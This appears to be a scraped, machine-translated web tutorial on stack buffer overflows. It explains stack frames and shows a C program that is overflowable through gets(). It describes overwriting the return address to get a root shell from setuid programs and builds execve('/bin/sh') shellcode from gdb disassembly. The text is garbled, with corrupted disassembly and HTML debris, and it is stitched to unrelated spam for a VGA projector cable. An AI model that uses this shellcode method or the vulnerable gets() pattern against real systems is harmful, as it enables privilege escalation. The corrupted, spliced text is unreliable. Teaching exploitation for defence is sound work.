How much do you know about stack overflow technology?

Although overflow cannot be completely avoided in the process of program development, the threat of overflow to the system is huge. Due to the particularity of the system, when an overflow occurs, an attacker can use its vulnerability to obtain the system's high-level privilege root, so this article will introduce the stack in detail Overflow technology...

Before you start to understand Stack Overflow, you should first understand the win32 assembly language and be familiar with the composition and function of registers. You must have a basic knowledge of stack and storage allocation. There are many computer books about this area. I will just briefly explain the principle and focus on the application. Secondly, you should understand Linux. In this lecture, our examples will be developed on Linux.

How much do you know about stack overflow technology?

1. First review the basic knowledge.

Physically speaking, the stack is a section of continuously allocated memory space. In a program, various variables are declared. Static global variables are located in the data section and are loaded when the program starts to run. The dynamic local variables of the program are allocated on the stack.

Operationally speaking, the stack is a first-in-last-out queue. His growth direction is exactly opposite to the growth direction of memory. We stipulate that the growth direction of the memory is upward, and the growth direction of the stack is downward. The operation of pushing the stack is push=ESP-4, the operation of popping is pop=ESP+4. In other words, the memory address of the old value in the stack is larger than the new value. Please keep this in mind, because this is the basic theoretical basis for stack overflow.

In a function call, the stack will be pushed sequentially: parameters, return address, EBP. If the function has local variables, then the corresponding space is opened up in the stack to construct variables. After the function is executed, the contents of these local variables will be lost. But it is not cleared. When the function returns, pop EBP, restore the stack to the address of the function call, and pop the return address to EIP to continue program execution.

In a C language program, the stack order of parameters is reversed. For example, func(a,b,c). When the parameter is put on the stack, it is: first press c, then b, and finally a. When taking parameters, because the stack is first in, then out, the top of the stack is taken first, then b, and finally c. These are the basic knowledge of assembly language, users must understand this knowledge before starting.

2. Now let's take a look at what stack overflow is.

Stack allocation at runtime

Stack overflow means that too much data is written to the data block regardless of the size of the data block in the stack, causing the data to cross the boundary, and as a result, the old stack data is overwritten.

For example, program one:

#include int main () {char name[8]; printf("Please type your name: "); gets(name); printf("Hello, %s!", name); return 0;}

Compile and execute, we enter ipxodi, it will output Hello, ipxodi!. How does the stack operate when the program is running?

When the main function starts to run, the return address, EBP, will be placed in the stack in turn.

We use gcc -S to get assembly language output, you can see that the beginning of the main function corresponds to the following statement:

pushl %ebp movl %esp,%ebp subl $8,%esp

First, he saves EBP, and then EBP is equal to the current ESP, so that EBP can be used to access the local variables of this function. After that, ESP is reduced by 8, which means that the stack increases by 8 bytes to store the name[] array. Finally, main returns, pops up the address in ret, assigns it to EIP, and the CPU continues to execute the instruction pointed to by EIP.

Stack overflow

Now we execute it again, enter ipxodiAAAAAAAAAAAAAAA, after executing gets(name), because the name string we entered is too long, the name array cannot fit, so we have to continue to write'A' to the top of the memory. Since the growth direction of the stack is opposite to the growth direction of the memory, these'A's cover the old elements of the stack. We can find that EBP and ret have been covered by'A'. When main returns, it will use the ASCII code of'AAAA': 0x41414141 as the return address, and the CPU will try to execute the instruction at 0x41414141, but an error occurs. This is a stack overflow.

3. How to use stack overflow

We have already created a stack overflow. The principle can be summarized as follows: Since the string processing functions (gets, strcpy, etc.) do not monitor and limit the array out of bounds, we use the character array to write out of bounds, overwrite the value of the old element in the stack, and then modify the return address.

In the above example, this caused the CPU to access a non-existent instruction, resulting in an error. In fact, when the stack overflows, we have completely controlled the next action of this program. If we overwrite the return address with an actual instruction address, the CPU will execute our instruction instead.

In the UINX/linux system, our command can execute a shell, and this shell will get the same permissions as the program overflowed by our stack. If this program is setuid, then we can get a root shell. The next lecture will describe how to write a shell code.

How to write a shell code

One: Analysis of the basic algorithm of shellcode

In the program, the program that executes a shell is written like this:

shellcode.c ----------------------------------------------- ------------------------- #include void main() {char *name[2]; name[0] = "/bin/sh" name[1] = NULL; execve(name[0], name, NULL);} ------------------------------ ------------------------------------------

The execve function will execute a program. He needs the name and address of the program as the first parameter. An array of pointers containing the program's argv[i](argv[n-1]=0) is used as the second parameter, and (char*) 0 is used as the third parameter.

Let's take a look at the assembly code of execve:

[nkl10]$Content$nbsp;gcc -o shellcode -static shellcode.c [nkl10]$Content$nbsp;gdb shellcode (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc: pushl %ebp; 0x80002bd: movl% esp,%ebp; Above is the function header. 0x80002bf: pushl %ebx; save ebx 0x80002c0: movl $0xb,%eax; eax=0xb, eax indicates the number of the system call. 0x80002c5: movl 0x8(%ebp),%ebx; ebp+8 is the first parameter "/bin/sh\0" 0x80002c8: movl 0xc(%ebp),%ecx; ebp+12 is the second parameter name array The address 0x80002cb: movl 0x10(%ebp),%edx; ebp+16 is the address of the third parameter null pointer. ;name[2-1] is NULL to store the return value. 0x80002ce: int $0x80; Execute system call 0xb (execve) 0x80002d0: movl %eax,%edx; The following is the return value processing and it is useless. 0x80002d2: testl %edx,%edx 0x80002d4: jnl 0x80002e6 0x80002d6: negl %edx 0x80002d8: pushl %edx 0x80002d9: call 0x8001a34 0x80002de: popl %edx 0x80002df: 8000eax ffx ff, $2%edx ff,(%) : popl %ebx 0x80002e7: movl %ebp,%esp 0x80002e9: popl %ebp 0x80002ea: ret 0x80002eb: nop End of assembler dump.

After the above analysis, the following simplified instruction algorithm can be obtained:

movl $execve system call number, %eax

movl "bin/sh\0" address, %ebx movl name array address, %ecx movl name[n-1] address, %edx int $0x80; execute system call (execve)

When execve is successfully executed, the program shellcode will exit, and /bin/sh will continue to execute as a child process. However, if our execve fails (for example, there is no /bin/sh file), the CPU will continue to execute the subsequent instructions, and as a result, I don't know where it went. Therefore, another exit() system call must be executed to end the execution of shellcode.c.

Let's take a look at the assembly code of exit(0):

(gdb) disassemble _exit Dump of assembler code for function _exit: 0x800034c: pushl %ebp 0x800034d: movl %esp,%ebp 0x800034f: pushl %ebx 0x8000350: movl $0x1,%eax; system call 1 0x8000355: movl 0x8(% ebp),%ebx; ebx is the parameter 0 0x8000358: int $0x80; triggers system call 0x800035a: movl 0xfffffffc(%ebp),%ebx 0x800035d: movl %ebp,%esp 0x800035f: popl %ebp 0x8000360: ret 0x8000361: nop 0x8000362 : nop 0x8000363: nop End of assembler dump.

It seems that the assembly code of exit(0)] is simpler:

movl $0x1,%eax; system call number 1 movl 0,%ebx; ebx is the parameter 0 of exit int $0x80; system call is triggered

So to summarize, the synthesized assembly code is:

movl $execve system call number, %eax

movl "bin/sh\0" address, %ebx movl name array address, %ecx movl name[n-1] address, %edx int $0x80; execute system call (execve) movl $0x1,%eax; No. 1 system call movl 0,%ebx; ebx is the parameter of exit 0 int $0x80; execute system call (exit)

Projector Cable

Thick VGA to VGA monitor cable connects PC or laptop to projector, SVGA monitor and other display system with 15 pin VGA port
50 ft extra long VGA cable extends your operating distance and makes devices' movement conveniently (15 meters)
Heavy duty VGA display cord is well built with Al-foil shielded layer and dual ferrite beads to protect against EMI and RFI interference for high quality video signal transmission
Nickel plated connectors (male to male interface) and copper conductors enhance this sturdy cable performance (resolution up to Full HD 1080p - 1920 x 1080)
Black computer monitor VGA cable for desktop with thumbscrews to make plugging and unplugging a breeze while ensure easy secure connections.

Projector Cable,Projector Cord,Projector Wire,Projector To Laptop Cable

UCOAX , https://www.jsucoax.com

This entry was posted in on